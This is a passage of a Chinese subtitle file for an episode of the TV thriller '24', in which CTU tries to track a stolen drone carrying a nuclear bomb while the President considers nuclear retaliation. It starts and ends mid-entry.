--> 00:01:28,060\r\n美国人冲进来了\r\n\r\n40\r\n00:01:28,066 --> 00:01:30,036\r\n我还以为你已经控制大局了呢\r\n\r\n41\r\n00:01:30,043 --> 00:01:32,090\r\n不用多久\r\n他们就会找到你的位置了\r\n\r\n42\r\n00:01:32,096 --> 00:01:34,043\r\n无人驾驶器已经可以发射了\r\n\r\n43\r\n00:01:34,050 --> 00:01:36,000\r\n装备好炸弹\r\n\r\n44\r\n00:01:36,006 --> 00:01:37,066\r\n俄国领事馆那边怎么样了\r\n\r\n45\r\n00:01:37,073 --> 00:01:39,086\r\n杰克.鲍尔没有被捕\r\n他还在领事馆里\r\n\r\n46\r\n00:01:39,093 --> 00:01:42,026\r\n我们一定要冲进去\r\n\r\n47\r\n00:01:49,023 --> 00:01:50,036\r\n放下武器!\r\n\r\n48\r\n00:01:54,030 --> 00:01:55,030\r\n我是杰克.鲍尔\r\n\r\n49\r\n00:01:55,036 --> 00:01:57,013\r\n你需要联系比尔.布坎南\r\n\r\n50\r\n00:01:57,020 --> 00:01:58,070\r\n告诉他法耶德和格里丹克\r\n\r\n51\r\n00:01:58,076 --> 00:01:59,073\r\n在影子谷\r\n\r\n52\r\n00:01:59,080 --> 00:02:01,050\r\n给我接布坎南\r\n\r\n53\r\n00:02:07,034 --> 00:02:11,046\r\n以下的故事发生在晚上7点到8点\r\n\r\n54\r\n00:02:28,050 --> 00:02:29,080\r\n救伤直升机在路上了\r\n\r\n55\r\n00:02:29,086 --> 00:02:30,093\r\n你怎么样\r\n\r\n56\r\n00:02:31,000 --> 00:02:32,043\r\n我还行\r\n大夫?\r\n\r\n57\r\n00:02:32,050 --> 00:02:34,059\r\n他可能有游肋骨折\r\n\r\n58\r\n00:02:34,060 --> 00:02:36,013\r\n可能会导致内出血\r\n\r\n59\r\n00:02:36,020 --> 00:02:37,060\r\n我们需要稳定他的情况\r\n\r\n60\r\n00:02:37,066 --> 00:02:39,061\r\n道尔特工 我告诉你我没事\r\n\r\n61\r\n00:02:39,062 --> 00:02:40,096\r\n我要参与这个行动\r\n\r\n62\r\n00:02:40,097 --> 00:02:42,040\r\n反恐小组负责这个行动 杰克\r\n\r\n63\r\n00:02:42,046 --> 00:02:44,043\r\n现在你说的也不算\r\n\r\n64\r\n00:02:51,056 --> 00:02:53,010\r\n我们现在相信格里丹克\r\n\r\n65\r\n00:02:53,016 --> 00:02:54,006\r\n在影子谷某处\r\n\r\n66\r\n00:02:54,013 --> 00:02:57,033\r\n至少拥有5架RQ-2无人驾驶飞机\r\n\r\n67\r\n00:02:57,040 --> 00:02:58,063\r\nRQ-2?\r\n\r\n68\r\n00:02:58,070 --> 00:03:00,060\r\n隐形无人驾驶机\r\n\r\n69\r\n00:03:00,061 --> 00:03:02,086\r\n驾驶员可以在世界上\r\n任何地方进行遥控操纵\r\n\r\n70\r\n00:03:02,093 --> 00:03:05,040\r\n而格里丹克用\r\n他提供给法耶德的核弹\r\n\r\n71\r\n00:03:05,050 --> 00:03:06,070\r\n装备这些飞机?\r\n\r\n72\r\n00:03:06,071 --> 00:03:08,000\r\n是的 先生\r\n\r\n73\r\n00:03:08,006 --> 00:03:10,026\r\n我们重新调整了\r\n在莫哈韦沙漠的卫星覆盖面\r\n\r\n74\r\n00:03:10,033 --> 00:03:12,063\r\n空军的F-16战斗机\r\n也随时可以从爱德华兹起飞\r\n\r\n75\r\n00:03:12,070 --> 00:03:15,023\r\n但是你却不知道格里丹克和法耶德\r\n\r\n76\r\n00:03:15,030 --> 00:03:16,063\r\n什么时候会发射无人驾驶机\r\n\r\n77\r\n00:03:16,070 --> 00:03:17,066\r\n是的 先生 我们不知道\r\n\r\n78\r\n00:03:19,073 --> 00:03:21,033\r\n有什么新情况马上通知我\r\n\r\n79\r\n00:03:21,040 --> 00:03:22,070\r\n是 先生\r\n\r\n80\r\n00:03:28,081 --> 00:03:30,030\r\n把卡车开过来\r\n\r\n81\r\n00:03:30,066 --> 00:03:31,040\r\n我们要马上离开\r\n\r\n82\r\n00:03:31,040 --> 00:03:32,063\r\n有什么不对的?\r\n\r\n83\r\n00:03:32,070 --> 00:03:34,056\r\n装备好几架无人驾驶机了?\r\n\r\n84\r\n00:03:34,063 --> 00:03:35,080\r\n就这一架\r\n\r\n85\r\n00:03:35,086 --> 00:03:37,016\r\n妈的\r\n\r\n86\r\n00:03:37,023 --> 00:03:38,070\r\n我们得马上发射\r\n\r\n87\r\n00:03:39,071 --> 00:03:40,077\r\n准备好\r\n\r\n88\r\n00:03:41,023 --> 00:03:42,030\r\n快 快\r\n\r\n89\r\n00:03:42,036 --> 00:03:43,080\r\n告诉我出什么问题了\r\n\r\n90\r\n00:03:46,060 --> 00:03:47,080\r\n发生什么事了?\r\n\r\n91\r\n00:03:47,086 --> 00:03:50,013\r\n美国佬知道我们在这里了\r\n\r\n92\r\n00:03:50,020 --> 00:03:51,080\r\n怎么发现的\r\n\r\n93\r\n00:03:51,086 --> 00:03:53,040\r\n是不是马科夫\r\n\r\n94\r\n00:03:53,046 --> 00:03:56,000\r\n马科夫告诉他们了\r\n\r\n95\r\n00:03:56,006 --> 00:03:59,038\r\n现在的问题是\r\n他们知道我们在这里了\r\n\r\n96\r\n00:03:59,040 --> 00:04:02,003\r\n我们得在他们来之前\r\n把飞机发射出去\r\n\r\n97\r\n00:04:02,010 --> 00:04:04,096\r\n我们有三个核弹\r\n和三个攻击目标\r\n\r\n98\r\n00:04:05,003 --> 00:04:08,030\r\n我们会找到别的办法\r\n运送另外两个的\r\n\r\n99\r\n00:04:11,015 --> 00:04:13,083\r\n一直以来我们都在忍着你\r\n\r\n100\r\n00:04:13,090 --> 00:04:16,013\r\n你不停的指责我们弄丢了核弹\r\n\r\n101\r\n00:04:16,020 --> 00:04:18,010\r\n但这次是你的错误\r\n\r\n102\r\n00:04:18,016 --> 00:04:20,003\r\n马科夫是你的人\r\n\r\n103\r\n00:04:20,010 --> 00:04:22,023\r\n想说什么你尽管说\r\n但是如果我们还呆在这儿\r\n\r\n104\r\n00:04:22,030 --> 00:04:24,020\r\n我们就会被抓住或者被干掉\r\n\r\n105\r\n00:04:28,084 --> 00:04:30,003\r\n把其他的核弹重新包装起来\r\n\r\n106\r\n00:04:30,010 --> 00:04:31,036\r\n然后装车\r\n\r\n107\r\n00:04:31,043 --> 00:04:33,003\r\n马上做\r\n\r\n108\r\n00:04:33,010 --> 00:04:34,076\r\n把炸弹拿出来\r\n\r\n109\r\n00:04:37,004 --> 00:04:38,040\r\n我们的计划提前了\r\n\r\n110\r\n00:04:39,041 --> 00:04:40,010\r\n为什么?\r\n\r\n111\r\n00:04:40,016 --> 00:04:41,063\r\n没时间解释了\r\n\r\n112\r\n00:04:41,070 --> 00:04:45,093\r\n我要你发射0709号无人驾驶机\r\n\r\n113\r\n00:04:46,000 --> 00:04:48,096\r\n我还没完成安装隐蔽向量\r\n\r\n114\r\n00:04:49,003 --> 00:04:51,036\r\n还没到目的地就会被打下来的\r\n\r\n115\r\n00:04:51,043 --> 00:04:53,030\r\n现在发射\r\n\r\n116\r\n00:04:53,036 --> 00:04:56,056\r\n飞机升空后你再使用隐蔽技术\r\n\r\n117\r\n00:04:56,063 --> 00:04:58,063\r\n是 先生\r\n\r\n118\r\n00:05:31,087 --> 00:05:33,010\r\n我们得赶紧走了\r\n\r\n119\r\n00:05:35,063 --> 00:05:38,076\r\n快点 咱们走吧\r\n\r\n120\r\n00:05:41,086 --> 00:05:42,083\r\n长官 我们以最快的速度\r\n\r\n121\r\n00:05:42,090 --> 00:05:44,042\r\n重新布置卫星的位置\r\n\r\n122\r\n00:05:44,043 --> 00:05:45,056\r\n一旦我们发现目标\r\n\r\n123\r\n00:05:45,063 --> 00:05:46,073\r\n我们会马上向您的指挥所\r\n\r\n124\r\n00:05:46,080 --> 00:05:48,040\r\n上传实时图像\r\n\r\n125\r\n00:05:48,046 --> 00:05:50,046\r\n给我弄到这些情报\r\n以瑟尔 许多人命在旦夕\r\n\r\n126\r\n00:05:50,053 --> 00:05:52,026\r\n是 长官\r\n\r\n127\r\n00:05:53,090 --> 00:05:55,063\r\n你还好吧?\r\n\r\n128\r\n00:05:57,070 --> 00:06:00,040\r\n事实是 不 不是很好\r\n\r\n129\r\n00:06:01,083 --> 00:06:03,070\r\n我们能渡过这一关的\r\n\r\n130\r\n00:06:03,076 --> 00:06:06,003\r\n希望如此\r\n\r\n131\r\n00:06:12,076 --> 00:06:14,070\r\n有问题么 克洛伊?\r\n\r\n132\r\n00:06:14,076 --> 00:06:16,030\r\n是\r\n\r\n133\r\n00:06:16,036 --> 00:06:18,016\r\n你打算告诉我们是什么事吗?\r\n\r\n134\r\n00:06:19,013 --> 00:06:20,071\r\n我在升级安全系统\r\n\r\n135\r\n00:06:20,073 --> 00:06:23,035\r\n我发现你在使用麦洛的权限密码\r\n\r\n136\r\n00:06:23,036 --> 00:06:24,013\r\n如果你不清楚的话\r\n我可以告诉你\r\n\r\n137\r\n00:06:24,020 --> 00:06:26,013\r\n这是严重的安全破坏罪\r\n\r\n138\r\n00:06:26,038 --> 00:06:27,096\r\n不 一定是什么地方搞错了\r\n\r\n139\r\n00:06:28,003 --> 00:06:29,066\r\n我的系统一直有小毛病 我以为我...\r\n\r\n140\r\n00:06:29,073 --> 00:06:31,000\r\n不是什么小毛病 麦洛\r\n\r\n141\r\n00:06:31,006 --> 00:06:32,090\r\n娜迪亚一直在用你的用户名\r\n\r\n142\r\n00:06:32,096 --> 00:06:34,083\r\n所以如果不是她偷用你的用户名\r\n那就是你给她用的\r\n\r\n143\r\n00:06:34,090 --> 00:06:37,096\r\n麦洛只是想帮我完成我的工作\r\n\r\n144\r\n00:06:38,003 --> 00:06:39,073\r\n国土安全局下达了一个命令\r\n\r\n145\r\n00:06:39,080 --> 00:06:41,063\r\n限制我的安全权限\r\n\r\n146\r\n00:06:41,070 --> 00:06:43,083\r\n就因为我是在中东出生的\r\n\r\n147\r\n00:06:45,014 --> 00:06:47,033\r\n我知道这个命令 我也觉的\r\n\r\n148\r\n00:06:47,040 --> 00:06:49,046\r\n按种族来划分我们自己工作人员\r\n是错误的\r\n\r\n149\r\n00:06:49,053 --> 00:06:52,003\r\n但你用麦洛的密码\r\n依然是严重的安全破坏罪\r\n\r\n150\r\n00:06:52,010 --> 00:06:54,013\r\n克洛伊...\r\n\r\n151\r\n00:06:56,000 --> 00:06:58,046\r\n如果你汇报这事\r\n\r\n152\r\n00:06:58,053 --> 00:07:00,050\r\n如果我们被解雇甚至被逮捕\r\n\r\n153\r\n00:07:00,056 --> 00:07:02,060\r\n我们就一点忙也帮不上了\r\n\r\n154\r\n00:07:02,066 --> 00:07:05,070\r\n如果我想报告的话\r\n我也不会在这里跟你说了\r\n\r\n155\r\n00:07:05,076 --> 00:07:08,033\r\n我是想提醒你注意点\r\n\r\n156\r\n00:07:08,040 --> 00:07:10,006\r\n我是说 我能发现这事\r\n\r\n157\r\n00:07:10,013 --> 00:07:12,090\r\n早晚其他人也会发现的\r\n\r\n158\r\n00:07:18,000 --> 00:07:19,026\r\n娜迪亚\r\n\r\n159\r\n00:07:19,033 --> 00:07:20,056\r\n是 长官\r\n\r\n160\r\n00:07:20,066 --> 00:07:22,086\r\n莫里斯得到了影子谷的卫星图像\r\n\r\n161\r\n00:07:22,093 --> 00:07:26,006\r\n看来象是恐怖分子\r\n已经发射了一架无人驾驶机\r\n\r\n162\r\n00:07:26,013 --> 00:07:28,013\r\n我现在就和沃尔什将军开会\r\n\r\n163\r\n00:07:28,020 --> 00:07:29,043\r\n我马上来 长官\r\n\r\n164\r\n00:07:29,050 --> 00:07:31,080\r\n跟所有目标区域的\r\n紧急联络员进行协调\r\n\r\n165\r\n00:07:32,086 --> 00:07:34,086\r\n接通沃尔什将军\r\n\r\n166\r\n00:07:34,093 --> 00:07:36,043\r\n长官 比尔.比坎南接通了\r\n\r\n167\r\n00:07:36,050 --> 00:07:38,020\r\n我是沃尔什\r\n\r\n168\r\n00:07:38,026 --> 00:07:41,023\r\n将军 我们获得了一架无人驾驶机的图像\r\n\r\n169\r\n00:07:41,030 --> 00:07:42,080\r\n现正通过卫星进行跟踪\r\n\r\n170\r\n00:07:42,086 --> 00:07:45,006\r\n飞机向影子谷外西北方向飞行\r\n\r\n171\r\n00:07:45,013 --> 00:07:47,020\r\n高度3000英尺并继续上升\r\n\r\n172\r\n00:07:47,026 --> 00:07:49,040\r\n飞行速度是每小时360英里\r\n\r\n173\r\n00:07:49,046 --> 00:07:52,003\r\n我正在查看RQ-2的资料\r\n\r\n174\r\n00:07:52,010 --> 00:07:53,043\r\n它采用的是隐形设计\r\n\r\n175\r\n00:07:53,050 --> 00:07:56,023\r\n几乎不可能会被雷达测到\r\n\r\n176\r\n00:07:56,030 --> 00:07:59,006\r\n我们要用人工方式\r\n指导F-16战斗机进行拦截\r\n\r\n177\r\n00:07:59,013 --> 00:08:01,050\r\n我们正上传实时图像给您\r\n\r\n178\r\n00:08:01,056 --> 00:08:03,060\r\n你们判断出指定目标了么?\r\n\r\n179\r\n00:08:03,066 --> 00:08:04,076\r\n是 我是娜迪亚·以瑟尔\r\n\r\n180\r\n00:08:04,083 --> 00:08:06,053\r\n最接近的目标是洛山矶市中心\r\n\r\n181\r\n00:08:06,060 --> 00:08:08,000\r\n飞行间距是4分钟\r\n\r\n182\r\n00:08:08,006 --> 00:08:12,016\r\nRQ-2的最大飞行速度\r\n是每小时400英里\r\n\r\n183\r\n00:08:12,023 --> 00:08:15,056\r\nF-16应该可以在两分钟内拦截成功\r\n\r\n184\r\n00:08:19,013 --> 00:08:20,006\r\n可能有麻烦了\r\n\r\n185\r\n00:08:20,013 --> 00:08:21,096\r\n我找不到无人驾驶机了\r\n\r\n186\r\n00:08:25,091 --> 00:08:26,056\r\n突然消失了\r\n\r\n187\r\n00:08:26,063 --> 00:08:27,060\r\n怎么会消失了?\r\n\r\n188\r\n00:08:27,066 --> 00:08:28,086\r\n它正穿越座标线\r\n\r\n189\r\n00:08:28,093 --> 00:08:30,010\r\n当我转换卫星时...\r\n\r\n190\r\n00:08:30,016 --> 00:08:31,076\r\n根据计划向量重新调整\r\n\r\n191\r\n00:08:31,083 --> 00:08:33,006\r\n我正在做 将军\r\n\r\n192\r\n00:08:33,013 --> 00:08:34,060\r\n只是根本不应该出现这样的情况\r\n\r\n193\r\n00:08:34,066 --> 00:08:38,043\r\n在你发现它之前\r\n我会让F-16战斗机飞行待命\r\n\r\n194\r\n00:08:44,046 --> 00:08:46,016\r\n是我\r\n\r\n195\r\n00:08:46,023 --> 00:08:48,060\r\n我跟反恐小组那边连上线了\r\n\r\n196\r\n00:08:48,066 --> 00:08:51,000\r\n我破坏了他们的追踪能力\r\n\r\n197\r\n00:08:51,006 --> 00:08:52,020\r\n就是说\r\n\r\n198\r\n00:08:52,026 --> 00:08:54,010\r\n他们无法追踪无人驾驶机了?\r\n\r\n199\r\n00:08:54,016 --> 00:08:56,013\r\n不错 而且在我们击中目标之前\r\n\r\n200\r\n00:08:56,020 --> 00:08:59,026\r\n我都能够让它不在卫星上出现\r\n\r\n201\r\n00:08:59,033 --> 00:09:05,046\r\n好 等我们离开这里后\r\n我再和你联系\r\n\r\n202\r\n00:09:08,027 --> 00:09:11,006\r\n长官 我刚跟反恐小组的\r\n比尔.布坎南通过话\r\n\r\n203\r\n00:09:11,013 --> 00:09:12,080\r\n他们正在追踪一架无人驾驶机\r\n\r\n204\r\n00:09:12,086 --> 00:09:14,050\r\n但他们现在追丢了\r\n\r\n205\r\n00:09:15,012 --> 00:09:16,088\r\n追丢了?\r\n\r\n206\r\n00:09:16,090 --> 00:09:18,054\r\n是的 不知道什么原因 长官\r\n\r\n207\r\n00:09:18,054 --> 00:09:20,030\r\n就是找不到了\r\n\r\n208\r\n00:09:20,036 --> 00:09:23,038\r\n我们有世界上最先进的卫星网络\r\n\r\n209\r\n00:09:23,073 --> 00:09:24,040\r\n怎么会有这种事发生?\r\n\r\n210\r\n00:09:24,046 --> 00:09:27,013\r\n反恐小组还在想办法找出原因\r\n\r\n211\r\n00:09:27,020 --> 00:09:28,028\r\n军队那边呢?\r\n\r\n212\r\n00:09:28,035 --> 00:09:30,056\r\n他们出动了三个空军中队进行搜索\r\n\r\n213\r\n00:09:30,063 --> 00:09:32,033\r\n但是这种无人驾驶机雷达无法探测\r\n\r\n214\r\n00:09:32,040 --> 00:09:35,086\r\n飞行员在夜间只能在几百平方英里内\r\n\r\n215\r\n00:09:35,093 --> 00:09:37,064\r\n进行目力探测\r\n\r\n216\r\n00:09:37,073 --> 00:09:40,076\r\n现在反恐小组按序排列了一份\r\n\r\n217\r\n00:09:40,083 --> 00:09:42,070\r\n可能被攻击的目标清单\r\n\r\n218\r\n00:09:42,071 --> 00:09:44,020\r\n现在正在模拟破坏分析...\r\n\r\n219\r\n00:09:44,026 --> 00:09:45,040\r\n莉萨?\r\n\r\n220\r\n00:09:45,046 --> 00:09:46,070\r\n先生?\r\n\r\n221\r\n00:09:46,076 --> 00:09:49,043\r\n提前召开政府首脑联合会议\r\n\r\n222\r\n00:09:49,050 --> 00:09:50,066\r\n您想要何时开始?\r\n\r\n223\r\n00:09:50,073 --> 00:09:52,026\r\n马上\r\n\r\n224\r\n00:09:52,033 --> 00:09:53,093\r\n等等 先生 为什么...\r\n\r\n225\r\n00:09:54,000 --> 00:09:55,070\r\n为何要召开首脑联合会议?\r\n\r\n226\r\n00:09:55,076 --> 00:09:58,000\r\n我警告过大使 汤姆\r\n\r\n227\r\n00:09:58,006 --> 00:10:00,023\r\n你听到我告诉过他\r\n\r\n228\r\n00:10:00,030 --> 00:10:02,023\r\n如果再有一枚核弹\r\n在我们的国土上爆炸的话\r\n\r\n229\r\n00:10:02,030 --> 00:10:05,066\r\n我要他们国家全权负责\r\n\r\n230\r\n00:10:05,073 --> 00:10:07,066\r\n先生 我们没有任何证据表明\r\n\r\n231\r\n00:10:07,073 --> 00:10:10,086\r\n他们国家赞助\r\n\r\n232\r\n00:10:10,093 --> 00:10:12,089\r\n甚至是支持这次恐怖袭击\r\n\r\n233\r\n00:10:12,090 --> 00:10:14,076\r\n我要让他们国家的人明白\r\n\r\n234\r\n00:10:14,083 --> 00:10:17,030\r\n我可不只是摆摆样子\r\n\r\n235\r\n00:10:17,036 --> 00:10:18,063\r\n他们要亲眼目睹\r\n\r\n236\r\n00:10:18,070 --> 00:10:21,016\r\n我会以类似的军事行为\r\n\r\n237\r\n00:10:21,023 --> 00:10:23,070\r\n来回应这次威胁\r\n\r\n238\r\n00:10:25,063 --> 00:10:27,010\r\n等等\r\n\r\n239\r\n00:10:27,016 --> 00:10:29,096\r\n\"类似的\" ? 先生\r\n\r\n240\r\n00:10:30,003 --> 00:10:31,096\r\n我要参谋首长们\r\n\r\n241\r\n00:10:32,003 --> 00:10:35,093\r\n列出我们可以进行核反击的目标\r\n\r\n242\r\n00:10:43,040 --> 00:10:48,010\r\n我不会再对另一次恐怖袭击\r\n保持沉默了\r\n\r\n243\r\n00:11:02,033 --> 00:11:04,080\r\n以目前的速度来看\r\n无人驾驶飞机应该已经到达洛杉矶了\r\n\r\n244\r\n00:11:04,086 --> 00:11:06,086\r\n所以我们应该不是袭击目标\r\n\r\n245\r\n00:11:06,093 --> 00:11:08,076\r\n再过几分钟里\r\n圣芭芭拉\r\n\r\n246\r\n00:11:08,083 --> 00:11:10,023\r\n和圣地亚哥也能排除在外\r\n\r\n247\r\n00:11:10,030 --> 00:11:12,026\r\n无人驾驶飞机的航行范围内\r\n还剩下几个目标?\r\n\r\n248\r\n00:11:12,033 --> 00:11:15,046\r\n以人口超过一百万的城市来看...\r\n\r\n249\r\n00:11:15,053 --> 00:11:16,066\r\n15个\r\n\r\n250\r\n00:11:16,073 --> 00:11:18,056\r\n我们必须再缩小名单\r\n\r\n251\r\n00:11:18,063 --> 00:11:21,043\r\n假设他们追求的是最高的死亡率\r\n\r\n252\r\n00:11:21,050 --> 00:11:23,086\r\n可能的目标还剩下几个?\r\n\r\n253\r\n00:11:23,093 --> 00:11:26,000\r\n人口密度最高的地区有\r\n\r\n254\r\n00:11:26,006 --> 00:11:28,086\r\n旧金山 拉斯维加斯\r\n和凤凰城\r\n\r\n255\r\n00:11:28,093 --> 00:11:32,054\r\n确认将紧急救难小组和第一回应小组\r\n部署到那些城市\r\n\r\n256\r\n00:11:32,070 --> 00:11:36,098\r\n莫里斯 确认空军也优先搜索这些城市\r\n\r\n257\r\n00:11:36,099 --> 00:11:38,000\r\n好的\r\n\r\n258\r\n00:11:40,020 --> 00:11:42,016\r\n把标记好的坐标给我\r\n\r\n259\r\n00:11:46,093 --> 00:11:48,000\r\n比尔\r\n\r\n260\r\n00:11:48,006 --> 00:11:49,023\r\n比尔 我们抓到格利丹克了吗?\r\n\r\n261\r\n00:11:49,030 --> 00:11:50,033\r\n还在努力中\r\n\r\n262\r\n00:11:50,040 --> 00:11:52,046\r\n比尔 发生什么事了?\r\n\r\n263\r\n00:11:52,053 --> 00:11:54,050\r\n格利丹克逃跑了\r\n\r\n264\r\n00:11:54,056 --> 00:11:56,073\r\n但是逃跑前发射了一架无人驾驶飞机\r\n\r\n265\r\n00:11:56,083 --> 00:11:58,075\r\n空军要多近才能拦截它?\r\n\r\n266\r\n00:11:58,075 --> 00:12:01,083\r\nF-16只差几分钟就可以了\r\n但是它突然从卫星上消失了\r\n\r\n267\r\n00:12:01,084 --> 00:12:02,071\r\n我们还在搜索中\r\n\r\n268\r\n00:12:05,057 --> 00:12:06,016\r\n去医疗室\r\n\r\n269\r\n00:12:06,023 --> 00:12:07,040\r\n这里不用你帮忙\r\n\r\n270\r\n00:12:07,046 --> 00:12:09,020\r\n-有新情况 随时通知我\r\n-我会的\r\n\r\n271\r\n00:12:10,092 --> 00:12:14,008\r\n道尔 我要你负责搜索\r\n法耶德和格利丹克\r\n\r\n272\r\n00:12:14,037 --> 00:12:15,080\r\n麦洛从战略室监控\r\n\r\n273\r\n00:12:15,086 --> 00:12:17,016\r\n我马上就过去\r\n\r\n274\r\n00:12:24,093 --> 00:12:27,006\r\n我们医疗室见\r\n\r\n275\r\n00:12:29,066 --> 00:12:30,027\r\n-嘿\r\n-嘿\r\n\r\n276\r\n00:12:30,053 --> 00:12:32,037\r\n-能让我们独处一会吗?\r\n-当然可以\r\n\r\n277\r\n00:12:32,040 --> 00:12:33,077\r\n他们说你受伤了\r\n\r\n278\r\n00:12:33,078 --> 00:12:35,016\r\n我没事\r\n\r\n279\r\n00:12:41,053 --> 00:12:42,050\r\n等这一切都结束后\r\n\r\n280\r\n00:12:42,056 --> 00:12:44,053\r\n我会去看看你和乔什\r\n\r\n281\r\n00:12:47,036 --> 00:12:51,003\r\n我一直后悔我们之间没有结果\r\n\r\n282\r\n00:12:52,007 --> 00:12:53,060\r\n而且...\r\n\r\n283\r\n00:12:53,066 --> 00:12:56,005\r\n我一直相信你也是这么认为的\r\n\r\n284\r\n00:13:05,019 --> 00:13:06,006\r\n或许我错了\r\n\r\n285\r\n00:13:07,096 --> 00:13:08,084\r\n不 你没有错\r\n\r\n286\r\n00:13:11,005 --> 00:13:12,016\r\n玛丽莲\r\n\r\n287\r\n00:13:12,023 --> 00:13:15,066\r\n在我被抓去中国之前\r\n\r\n288\r\n00:13:16,065 --> 00:13:17,083\r\n我 我和别人在一起\r\n\r\n289\r\n00:13:18,078 --> 00:13:21,093\r\n她甚至不知道我还活着\r\n\r\n290\r\n00:13:22,000 --> 00:13:24,003\r\n我必须让她知道\r\n\r\n291\r\n00:13:24,010 --> 00:13:26,013\r\n看看结果会怎样\r\n\r\n292\r\n00:13:28,008 --> 00:13:30,056\r\n你是说奥德莉·瑞恩斯?\r\n\r\n293\r\n00:13:31,033 --> 00:13:32,096\r\n对\r\n\r\n294\r\n00:13:35,006 --> 00:13:36,036\r\n你不知道\r\n\r\n295\r\n00:13:36,043 --> 00:13:38,046\r\n是吗?\r\n\r\n296\r\n00:13:38,053 --> 00:13:40,013\r\n杰克 我...\r\n\r\n297\r\n00:13:40,020 --> 00:13:43,036\r\n我很抱歉我是第一个告诉你的人...\r\n\r\n298\r\n00:13:44,043 --> 00:13:47,053\r\n奥德莉死了\r\n\r\n299\r\n00:13:47,060 --> 00:13:49,073\r\n我不清楚细节 我只是\r\n\r\n300\r\n00:13:49,080 --> 00:13:51,023\r\n从报纸上看到她死于一场事故\r\n\r\n301\r\n00:13:51,030 --> 00:13:52,056\r\n事故? 什么时候?\r\n\r\n302\r\n00:13:52,063 --> 00:13:54,040\r\n几个月前\r\n\r\n303\r\n00:13:54,046 --> 00:13:56,040\r\n是一场车祸\r\n\r\n304\r\n00:13:56,046 --> 00:13:58,046\r\n中国的某个地方\r\n\r\n305\r\n00:14:00,050 --> 00:14:02,083\r\n中国\r\n\r\n306\r\n00:14:02,090 --> 00:14:05,030\r\n对不起\r\n\r\n307\r\n00:14:06,046 --> 00:14:08,046\r\n我得走了\r\n\r\n308\r\n00:14:16,040 --> 00:14:17,060\r\n我们会开设独立的通道\r\n\r\n309\r\n00:14:17,066 --> 00:14:20,036\r\n给所有第一目标城市的应急部门\r\n\r\n310\r\n00:14:20,043 --> 00:14:23,000\r\n所有的应急部门应该...\r\n\r\n311\r\n00:14:23,006 --> 00:14:26,001\r\n该死的 为什么没人告诉我奥德莉的事?\r\n\r\n312\r\n00:14:27,050 --> 00:14:30,028\r\n布坎南先生不希望\r\n你一回来就知道这事\r\n\r\n313\r\n00:14:30,029 --> 00:14:32,053\r\n因为我们都以为\r\n法耶德就会杀掉你的\r\n\r\n314\r\n00:14:33,070 --> 00:14:35,096\r\n但是我想我应该告诉你的\r\n\r\n315\r\n00:14:36,003 --> 00:14:37,030\r\n对不起\r\n\r\n316\r\n00:14:37,036 --> 00:14:39,026\r\n她去了中国找我?\r\n\r\n317\r\n00:14:39,033 --> 00:14:40,070\r\n是她查出你被中国抓走了\r\n\r\n318\r\n00:14:41,093 --> 00:14:43,016\r\n在过去的一年里\r\n\r\n319\r\n00:14:43,023 --> 00:14:46,000\r\n她试图通过幕后途径把你救出来\r\n\r\n320\r\n00:14:46,096 --> 00:14:48,040\r\n其他的细节被总部列为机密资料\r\n\r\n321\r\n00:14:48,040 --> 00:14:49,066\r\n我也不知道了\r\n\r\n322\r\n00:14:50,043 --> 00:14:52,008\r\n我们被要求提供DNA档案\r\n\r\n323\r\n00:14:52,010 --> 00:14:55,008\r\n用于他们和尸体进行对比...\r\n\r\n324\r\n00:14:55,040 --> 00:14:56,016\r\n我想他们这么做了\r\n\r\n325\r\n00:14:56,023 --> 00:14:57,081\r\n我要看那个档案\r\n\r\n326\r\n00:14:59,063 --> 00:15:01,020\r\n马上!\r\n\r\n327\r\n00:15:01,026 --> 00:15:02,090\r\n我需要去资料库里找\r\n\r\n328\r\n00:15:02,096 --> 00:15:04,010\r\n现在就去!\r\n\r\n329\r\n00:15:16,010 --> 00:15:19,077\r\n国防部长和参谋部长将会亲自出席\r\n\r\n330\r\n00:15:19,080 --> 00:15:21,040\r\n国务卿将通过卫星参加视频会议\r\n\r\n331\r\n00:15:21,046 --> 00:15:24,060\r\n其余内阁成员通过视频提供谈话记录\r\n\r\n332\r\n00:15:24,062 --> 00:15:25,013\r\n很好\r\n\r\n333\r\n00:15:25,020 --> 00:15:27,073\r\n您也应该知道\r\n凯伦.海因斯也会出席\r\n\r\n334\r\n00:15:29,033 --> 00:15:32,023\r\n我告诉过你我不想让她参与\r\n\r\n335\r\n00:15:33,033 --> 00:15:36,020\r\n她支持韦恩·帕默的姑息政策\r\n\r\n336\r\n00:15:36,021 --> 00:15:37,046\r\n她会是个麻烦\r\n\r\n337\r\n00:15:37,053 --> 00:15:39,033\r\n是的 但是我没有办法\r\n\r\n338\r\n00:15:39,040 --> 00:15:41,074\r\n她还是这个国家的安全顾问\r\n\r\n339\r\n00:15:41,086 --> 00:15:44,073\r\n但是我只是让她临时列席会议\r\n\r\n340\r\n00:15:44,080 --> 00:15:47,026\r\n任何对您计划的反对都不会获得支持\r\n\r\n341\r\n00:15:48,060 --> 00:15:52,003\r\n呵 我认识凯伦.海因斯多年了\r\n\r\n342\r\n00:15:52,010 --> 00:15:55,034\r\n低估她一直都是一个错误\r\n\r\n343\r\n00:16:01,006 --> 00:16:02,090\r\n汤姆\r\n\r\n344\r\n00:16:04,014 --> 00:16:05,093\r\n有人把你从楼梯上推下来了?\r\n\r\n345\r\n00:16:06,000 --> 00:16:08,050\r\n不 凯伦 我是被你的愚蠢绊倒了\r\n\r\n346\r\n00:16:08,056 --> 00:16:10,050\r\n对于那件事情\r\n欢迎回来\r\n\r\n347\r\n00:16:10,056 --> 00:16:13,060\r\n听着 汤姆 我可不想和你玩了\r\n\r\n348\r\n00:16:13,066 --> 00:16:15,096\r\n我不会再让你威胁我了\r\n\r\n349\r\n00:16:16,003 --> 00:16:17,060\r\n所以 无论你做什么\r\n\r\n350\r\n00:16:17,066 --> 00:16:19,030\r\n在这里我是代表总统的\r\n\r\n351\r\n00:16:19,036 --> 00:16:21,006\r\n而且我不会再离开了\r\n\r\n352\r\n00:16:21,013 --> 00:16:22,043\r\n很好\r\n\r\n353\r\n00:16:23,070 --> 00:16:24,090\r\n凯伦\r\n\r\n354\r\n00:16:24,096 --> 00:16:28,061\r\n没有人比我\r\n对韦恩的事感到更抱歉\r\n\r\n355\r\n00:16:30,026 --> 00:16:32,045\r\n是啊 至少这一点上\r\n我们可以达成共识\r\n\r\n356\r\n00:16:48,030 --> 00:16:49,083\r\n请就座\r\n\r\n357\r\n00:16:56,040 --> 00:16:57,096\r\n正如你们多数人都了解的\r\n\r\n358\r\n00:16:58,003 --> 